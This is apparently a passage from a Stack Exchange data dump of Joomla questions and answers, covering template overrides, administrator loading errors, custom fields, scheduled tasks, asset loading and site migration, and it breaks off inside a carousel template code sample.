  <row Id="32029" PostTypeId="2" ParentId="28615" CreationDate="2022-03-17T08:10:53.900" Score="0" Body="&lt;p&gt;Instead I suggest you to use the Child Template feature following the guide and adapt it to your case.&#xA;This answer may help you: &lt;a href=&quot;https://joomla.stackexchange.com/a/31954/15836&quot;&gt;https://joomla.stackexchange.com/a/31954/15836&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15836" LastActivityDate="2022-03-17T08:10:53.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32030" PostTypeId="1" AcceptedAnswerId="32031" CreationDate="2022-03-17T23:12:36.093" Score="0" ViewCount="100" Body="&lt;p&gt;I'm looking to set up a bunch of pages that have the same paragraph except one bit of text that will be the same as whatever the article's title is. Is there a way to pull in the article's title as a variable in Joomla?&lt;/p&gt;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;Welcome to the ${ArticleTitle} Page!&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16205" LastActivityDate="2022-03-17T23:39:46.393" Title="Use Joomla article title as a variable inside a paragraph" Tags="|articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32031" PostTypeId="2" ParentId="32030" CreationDate="2022-03-17T23:39:46.393" Score="1" Body="&lt;p&gt;Yes, you can use the Regular Labs plugin Article Anywhere which is available for both J!3 and J!4 You &lt;em&gt;might&lt;/em&gt; need the Pro version (euro39)&lt;/p&gt;&#xA;" OwnerUserId="16206" LastActivityDate="2022-03-17T23:39:46.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32032" PostTypeId="1" AcceptedAnswerId="32042" CreationDate="2022-03-18T07:28:35.127" Score="2" ViewCount="698" Body="&lt;p&gt;I'm struggling pushing my Joomla website to the remote server. When I login into the administration page everything works fine, but after then the configuration panel isn't loaded properly: &lt;a href=&quot;https://i.stack.imgur.com/3DRxm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DRxm.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The navbar isn't loaded and I can't do anything but changing users informations. I've already checked the file permissions (files permissions 644 and folders permissions 755). The debug bar doesn't show any error (error reporting too).&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&#xA;The homepage is broken too, It doesn't load all of the content of the page and as I can see I've the same problem with all the pages of my website, it seems like the users don't have the right permissions to see the categories because I receive this error:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/o8gvv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8gvv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla version: 3.9.28&#xA;PHP version: 7.3.29&#xA;SQL version: 5.5.5-10.4.20-MariaDB&#xA;The website in local environment is working fine.&#xA;Can anyone help me? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="16207" LastEditorUserId="16207" LastEditDate="2022-03-19T09:34:58.197" LastActivityDate="2022-03-25T09:30:12.753" Title="Joomla administrator page not entirely loading" Tags="|joomla-3.x|administrator|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32033" PostTypeId="2" ParentId="31988" CreationDate="2022-03-18T07:57:44.963" Score="0" Body="&lt;p&gt;Create a custom implementation of &lt;code&gt;Joomla\CMS\MVC\Factory\MVCFactoryInterface&lt;/code&gt; or extend the provided &lt;code&gt;Joomla\CMS\MVC\Factory\MVCFactory&lt;/code&gt; class.&#xA;From your examples there is no clear connection between the URL parameters and class names so you'd have create something like a mapping table.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-03-18T07:57:44.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32034" PostTypeId="2" ParentId="32032" CreationDate="2022-03-18T08:00:57.943" Score="1" Body="&lt;p&gt;Go to http(s)://your-site/administrator/index.php?option=com_modules&amp;amp;view=modules&lt;/p&gt;&#xA;&lt;p&gt;Select Administrator in the filter and see which backend modules have been disabled; you should see a screen like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pRoAB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pRoAB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16174" LastActivityDate="2022-03-18T08:00:57.943" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32035" PostTypeId="2" ParentId="32032" CreationDate="2022-03-18T08:49:22.570" Score="1" Body="&lt;p&gt;You seem to have an &lt;strong&gt;issue&lt;/strong&gt; in your web site &lt;strong&gt;with Viewing Access Levels&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By default the &lt;strong&gt;administrator Modules&lt;/strong&gt; Menu, Title and Toolbar have been assigned to the &amp;quot;Special&amp;quot; group. It looks like the User Goups of your User Account doesn't have the right Viewing Access Level (&amp;quot;Special&amp;quot;).&lt;/p&gt;&#xA;&lt;p&gt;To fix it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check to which &lt;strong&gt;User Groups&lt;/strong&gt; your User Account have been assigned to.&lt;/li&gt;&#xA;&lt;li&gt;Check the Users &amp;gt; &lt;strong&gt;Viewing Access Levels&lt;/strong&gt; if that User Group has been assigned to the &amp;quot;Special&amp;quot; viewing level.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-03-18T08:49:22.570" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32037" PostTypeId="1" CreationDate="2022-03-18T20:04:53.027" Score="2" ViewCount="276" Body="&lt;p&gt;Is there documentation for the new Scheduled Tasks Infrastructure in Joomla 4.1 (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/35143&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/35143&lt;/a&gt;)?&lt;/p&gt;&#xA;&lt;p&gt;I just created a test task for setting the site offline. I scheduled the interval to 5 minutes, but it does not run.&lt;a href=&quot;https://i.stack.imgur.com/NyAAb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NyAAb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The plugin &amp;quot;System - Schedule Runner&amp;quot; is published.&lt;/p&gt;&#xA;&lt;p&gt;What is my mistake?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastEditorUserId="12352" LastEditDate="2022-03-18T20:36:53.893" LastActivityDate="2023-12-20T16:09:11.163" Title="Scheduled Tasks Infrastructure in Joomla 4.1" Tags="|plugin|joomla-4.x|task|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32038" PostTypeId="1" AcceptedAnswerId="32039" CreationDate="2022-03-20T18:00:46.633" Score="2" ViewCount="154" Body="&lt;p&gt;In the xml file for a module, I call a custom field class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;basic&amp;quot; addfieldprefix=&amp;quot;Myextension\Name\Administrator\Field&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;category_id&amp;quot; type=&amp;quot;categorylist&amp;quot; default=&amp;quot;0&amp;quot;&#xA;                   none=&amp;quot;MOD_MYMODULE_PARAM_CATEGORYLIST_NONE&amp;quot;&#xA;                   description=&amp;quot;MOD_MYMODULE_PARAM_CATEGORYLIST_NONE_DESC&amp;quot;&#xA;                   label=&amp;quot;MOD_MYMODULE_PARAM_CATEGORYLIST_NONE&amp;quot; multiple=&amp;quot;true&amp;quot; size=&amp;quot;5&amp;quot;&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;MOD_MYMODULE_PARAM_CATEGORYLIST_NONE&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;         &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the file CategorylistField, I call HTMLHelper:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class CategorylistField extends ListField&#xA;{&#xA;    protected $type = 'CategoryList';&#xA;&#xA;    protected function getInput(): string&#xA;    {&#xA;        return HTMLHelper::_('myextensionhtml.categorylist', $options, $this-&amp;gt;element, $attribs, $this-&amp;gt;value);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I edit the module, I have an error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;500   JHtml myextensionhtml not found on JROOT\libraries\src\HTML\HTMLHelper.php:156&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In my component, the call of &lt;code&gt;HTMLHelper::_('myextensionhtml.categorylist'&lt;/code&gt; works, why doesn't it work in the module?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2022-03-20T23:04:44.220" LastActivityDate="2022-03-21T08:29:13.117" Title="HTMLHelper call a custom class in a module" Tags="|extensions|joomla-4.x|custom-module|xml|htmlhelper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32039" PostTypeId="2" ParentId="32038" CreationDate="2022-03-21T08:29:13.117" Score="2" Body="&lt;p&gt;You need to register the HTML services with the service registry. If your component uses the same convention as Joomla core, then the services are registered during the boot up process of the component. In that case, you can boot the component manually before using HTML services:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Boot the component.&#xA;\Joomla\CMS\Factory::getApplication()-&amp;gt;bootComponent('com_kunena');&#xA;&#xA; return HTMLHelper::_('myextensionhtml.categorylist', $options, $this-&amp;gt;element, $attribs, $this-&amp;gt;value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-03-21T08:29:13.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32042" PostTypeId="2" ParentId="32032" CreationDate="2022-03-24T11:16:57.733" Score="1" Body="&lt;p&gt;After several attempts I found the solution. The best way to migrate a website from a local environment to live is through Akeeba Backups.&#xA;Please follow this guide if you encounter the same problem as mine:&#xA;&lt;a href=&quot;https://www.joomshaper.com/blog/how-to-move-a-joomla-site-from-localhost-to-live-server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomshaper.com/blog/how-to-move-a-joomla-site-from-localhost-to-live-server&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I think the real issue was about file and folders permissions, with Akeeba backups went everything went smoothly.&lt;/p&gt;&#xA;&lt;h1&gt;Use Akeeba Backup to Move the Joomla Site&lt;/h1&gt;&#xA;&lt;p&gt;To do this, you will be using the Akeeba Backup Joomla extension first to take a backup of your website (root files and database) and then Akeeba Kickstart to restore the backup to the live server. The transfer process consists of the following steps.&lt;/p&gt;&#xA;&lt;h2&gt;Step 1: Download and Install Akeeba Backup&lt;/h2&gt;&#xA;First of all, you need to download the Akeeba Backup extension. Once you have downloaded the latest version in .zip format, login to your Joomla site administrator dashboard. From the dashboard, click on Extensions &gt; Manage &gt; Install. Here, under the Upload Package File option, browse and select the downloaded file. This will upload and install Akeeba Backup on your site.&#xA;&lt;h2&gt;Step 2: Backup Your Files&lt;/h2&gt;&#xA;After the successful installation of Akeeba Backup, the next step is to take a backup of your site. Simply do this by: on top of the dashboard, select Components and then Akeeba Backup&#xA;Click Backup Now. This will download a .jpa file to your computer.&#xA;&lt;h2&gt;Step 3: Download Akeeba Kickstart&lt;/h2&gt;&#xA;Download Akeeba Kickstart to your computer. &#xA;&lt;h2&gt;Step 4: Upload the Files to Your New Server&lt;/h2&gt;&#xA;From your hosting control panel or FTP client, select the destination web root directory and upload the .jpa file from step 2 and kickstart.php from step 3 to the new server.&#xA;&lt;h2&gt;Step 5: Create a Database on Your Hosting Company’s Server&lt;/h2&gt;&#xA;From your cPanel or server’s database management system, create a new empty database for your live site. &#xA;&lt;h2&gt;Step 6: Run the Kickstart Installer to Install Your Site on the New Server.&lt;/h2&gt;&#xA;All you have to do now is from the browser go to (URL of your live site)/kickstart.php. You now need to follow the guide and install the website in live environment.&#xA;" OwnerUserId="16207" LastEditorUserId="16207" LastEditDate="2022-03-25T09:30:12.753" LastActivityDate="2022-03-25T09:30:12.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32047" PostTypeId="1" CreationDate="2022-03-26T16:22:27.503" Score="0" ViewCount="398" Body="&lt;p&gt;with joomla v3 we use the following code to get values from database&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;//&lt;code&gt;&#xA;$userfields = FieldsHelper::getFields('com_users.user', JFactory::getUser(), true); &#xA;return $customFields[6]-&gt;value;&#xA;//&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;now with joomla 4 we faced this error Class 'FieldsHelper' not found&lt;/p&gt;&#xA;" OwnerUserId="16220" LastActivityDate="2022-03-26T16:22:27.503" Title="error with joomla 4 when i try to get value from user custom Fields" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32048" PostTypeId="1" CreationDate="2022-03-26T08:12:26.297" Score="1" ViewCount="156" Body="&lt;p&gt;I am building a site using Joomal 4. I developed it on my local and uploaded that to the server. All the public pages of the site are rendering properly, but when I try to open the &lt;code&gt;/administrator&lt;/code&gt; page, the page opens without any asset files.&lt;/p&gt;&#xA;&lt;p&gt;I checked the dev console and found that all the asset files are throwing the same error, 409 conflict. I am also getting the following error for template.min.js.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Loading module from “&lt;code&gt;https://website.com/media/templates/administrator/atum/js/template.min.js?7024ff588011084e122412cfbe75cc3c&lt;/code&gt;” was blocked because of a disallowed MIME type (“text/html”).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I did not made any additional changes to the site, how can I fix this issue?&lt;/p&gt;&#xA;" OwnerUserId="361" OwnerDisplayName="nasirkhan" LastEditorUserId="12352" LastEditDate="2022-03-27T22:21:39.573" LastActivityDate="2022-04-11T01:49:16.510" Title="409 Conflict on Joomla 4 administrator backend" Tags="|administrator|joomla-4|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32052" PostTypeId="1" CreationDate="2022-03-29T07:04:14.430" Score="1" ViewCount="2067" Body="&lt;p&gt;I'm having this error in Joomla for some reason:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to undefined method Joomla\CMS\Application\AdministratorApplication::isSite()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XLRH4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XLRH4.png&quot; alt=&quot;image of error&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I see other posts with this error, but I suppose they are using the Joomla app or installed on local files.  In my class exercise, it is obligatory to use the web implementation of Joomla so I don't know how to apply the advice in other answers or if they even work.&lt;/p&gt;&#xA;&lt;p&gt;Continuing with my case, I can't do anything. I can't enter the website, log out, see the administrator, edit my account, etc.&lt;/p&gt;&#xA;&lt;p&gt;I am using Joomla 3.1.&lt;/p&gt;&#xA;" OwnerUserId="16225" LastEditorUserId="12352" LastEditDate="2022-03-29T10:55:08.703" LastActivityDate="2023-12-20T18:06:00.797" Title="Call to undefined method Joomla\CMS\Application\AdministratorApplication::isSite()" Tags="|joomla-3.x|administrator|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32054" PostTypeId="2" ParentId="32052" CreationDate="2022-03-30T11:48:11.987" Score="0" Body="&lt;p&gt;Your Joomla version is &lt;strong&gt;3.1&lt;/strong&gt;. Method &lt;code&gt;isSite()&lt;/code&gt; is found here:&#xA;&lt;em&gt;libraries/src/Application/CMSApplication.php&lt;/em&gt; line 733 since &lt;strong&gt;joomla 3.2&lt;/strong&gt; and is marked as deprecated.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Is site interface?&#xA; *&#xA; * @return  boolean  True if this application is site.&#xA; *&#xA; * @since       3.2&#xA; * @deprecated  4.0 Use isClient('site') instead.&#xA; */&#xA;public function isSite()&#xA;{}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;May be you're using an extension that is too new for your Joomla version.&lt;/p&gt;&#xA;" OwnerUserId="13868" LastEditorUserId="12352" LastEditDate="2022-03-30T12:50:29.480" LastActivityDate="2022-03-30T12:50:29.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32055" PostTypeId="2" ParentId="32037" CreationDate="2022-03-30T11:56:12.423" Score="0" Body="&lt;p&gt;Check this &lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2022/get-to-know-the-new-joomla-task-scheduler&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; on Joomla Magazine, may be it will helps you.&lt;/p&gt;&#xA;" OwnerUserId="13868" LastActivityDate="2022-03-30T11:56:12.423" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32059" PostTypeId="1" CreationDate="2022-04-01T21:10:03.913" Score="0" ViewCount="204" Body="&lt;p&gt;The file &lt;code&gt;/srv/http/components/com_mycomponent/ajax/editAction.php&lt;/code&gt; was initialized with &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/34586#issuecomment-865080001&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/34586#issuecomment-865080001&lt;/a&gt;, except that we use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('JPATH_BASE', __DIR__ . '/../../../');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The server root is at &lt;code&gt;/srv/http&lt;/code&gt;. However, &lt;code&gt;Uri::root()&lt;/code&gt; would return &lt;code&gt;http://localhost/components/com_mycomponent/ajax/&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;How do I make it return &lt;code&gt;http://localhost/&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="16163" LastActivityDate="2022-04-06T07:31:21.977" Title="Incorrect Uri::root() with external PHP file" Tags="|php|component|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32060" PostTypeId="1" AcceptedAnswerId="32061" CreationDate="2022-04-04T13:44:05.687" Score="1" ViewCount="373" Body="&lt;p&gt;I built a custom Joomla 4 template and unfortunately Joomla is automatically loading &lt;strong&gt;collapse.min.js&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I view the page source I see this in the head:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&amp;quot;/media/vendor/bootstrap/js/collapse.min.js?5.1.3&amp;quot; type=&amp;quot;module&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is conflicting with the curated Boostrap 5 files that my template already loads. The result that anything in my template that uses Bootstrap collapse (accordion, navbar) is broken.&lt;/p&gt;&#xA;&lt;p&gt;Interestingly, this does not happen on my local (WAMP) environment. How do I prevent Joomla from loading &lt;strong&gt;collapse.min.js&lt;/strong&gt; in my template?&lt;/p&gt;&#xA;" OwnerUserId="14666" LastActivityDate="2022-04-05T06:53:54.957" Title="How to stop Joomla 4 from loading collapse.min.js in my template" Tags="|joomla-4.x|bootstrap|header|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32061" PostTypeId="2" ParentId="32060" CreationDate="2022-04-05T06:08:50.203" Score="0" Body="&lt;p&gt;If you want to load a single file instead of separate Bootstrap components, you can declare the asset in your template's &lt;code&gt;joomla.asset.json&lt;/code&gt; file. Note you will need to do this for all Bootstrap components.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;name&amp;quot;: &amp;quot;bootstrap.collapse&amp;quot;,&#xA;  &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;  &amp;quot;uri&amp;quot;: &amp;quot;your-bootstrap-file.min.js&amp;quot;,&#xA;  &amp;quot;attributes&amp;quot;: {&#xA;    &amp;quot;type&amp;quot;: &amp;quot;module&amp;quot;&#xA;  },&#xA;  &amp;quot;version&amp;quot;: &amp;quot;5.1.3&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you're loading split files like the core ones, you can create overrides by placing your files in the appropriate directory. In this case that would be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;templates/[your_template]/js/vendor/bootstrap/collapse.min.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or, if you're creating an &amp;quot;inheritable&amp;quot; template (feature introduced in Joomla 4.1):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;media/templates/site/[your_template]/js/vendor/bootstrap/collapse.min.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2022-04-05T06:53:54.957" LastActivityDate="2022-04-05T06:53:54.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32062" PostTypeId="1" CreationDate="2022-04-05T10:21:20.467" Score="0" ViewCount="67" Body="&lt;p&gt;I have created a rotating carousel using a Joomla 4 blog alternative menu item. The blog shows the three latest articles as 'intro items' on a rotation of 24 seconds in total, i.e. 8 seconds each. The first item has &lt;code&gt;position: relative;&lt;/code&gt; and the following two are &lt;code&gt;position: absolute;&lt;/code&gt; so that they sit one of top of each other. There are no leading items. No 'content' is displayed and each article consists of just five custom fields:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Media field - an image and alt text [1]&lt;/li&gt;&#xA;&lt;li&gt;A line of text [2]&lt;/li&gt;&#xA;&lt;li&gt;A second line of text [3]&lt;/li&gt;&#xA;&lt;li&gt;A URL, either as an internal link, e.g. &amp;quot;/another-blog/link-to-article&amp;quot; or &amp;quot;https://external-link.com&amp;quot; [4]&lt;/li&gt;&#xA;&lt;li&gt;The URL's title text [5]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For some reason, although the images and text rotate as expected, and the URL displayed in the code on the front end also displays correctly in the source code, if you hover over it or click it, it only shows/goes to &amp;quot;/why-join-us/reason-three&amp;quot;. The code on the front-end view in 'view source' looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;newCarousel&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;carousel-article&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;carousel-link&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-one&amp;quot; title=&amp;quot;Reason one&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;/images/home-carousel/image-one.jpg&amp;quot; alt=&amp;quot;Long description&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;textCopy1&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-one&amp;quot; title=&amp;quot;Reason one&amp;quot;&amp;gt;Text 1 for image 1&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;textCopy2&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-one&amp;quot; title=&amp;quot;Reason one&amp;quot;&amp;gt;Text 2 for image 1&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;carousel-article&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;carousel-link&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-two&amp;quot; title=&amp;quot;Reason one&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;/images/home-carousel/image-two.jpg&amp;quot; alt=&amp;quot;Long description&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;textCopy1&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-two&amp;quot; title=&amp;quot;Reason two&amp;quot;&amp;gt;Text 1 for image 2&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;textCopy2&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-two&amp;quot; title=&amp;quot;Reason two&amp;quot;&amp;gt;Text 2 for image 2&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;carousel-article&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;carousel-link&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-one&amp;quot; title=&amp;quot;Reason one&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;/images/home-carousel/image-three.jpg&amp;quot; alt=&amp;quot;Long description&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;textCopy1&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-three&amp;quot; title=&amp;quot;Reason three&amp;quot;&amp;gt;Text 1 for image 3&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;textCopy2&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/why-join-us/reason-three&amp;quot; title=&amp;quot;Reason three&amp;quot;&amp;gt;Text 2 for image 3&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;But the only active link is &lt;code&gt;&amp;quot;/why-join-us/reason-three&amp;quot;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In carousel.php I have this code, having stripped out most of the rest:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&amp;quot;newCarousel&amp;quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;        $introcount = count($this-&amp;gt;intro_items);&#xA;        $counter = 0;&#xA;        ?&amp;gt;&#xA;        &amp;lt;?php if (!empty($this-&amp;gt;intro_items)) : ?&amp;gt;&#xA;            &amp;lt;?php foreach ($this-&amp;gt;intro_items as $key =&amp;gt; &amp;amp;$item) : ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                $this-&amp;gt;item = &amp;amp; $item;&#xA;                echo $this-&amp;gt;loadTemplate('item');&#xA;                ?&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the render part of the carousel_item.php. All other code has been removed as I don't have lead items, links, pagination, etc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;carousel-article&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;carousel-link&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[4]-&amp;gt;value; ?&amp;gt;&amp;quot; title=&amp;quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[10]-&amp;gt;value; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[1]-&amp;gt;value; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;textCopy1&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[4]-&amp;gt;value; ?&amp;gt;&amp;quot; title=&amp;quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[5]-&amp;gt;value; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[2]-&amp;gt;value; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;textCopy2&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[4]-&amp;gt;value; ?&amp;gt;&amp;quot; title=&amp;quot;&amp;lt;?php echo 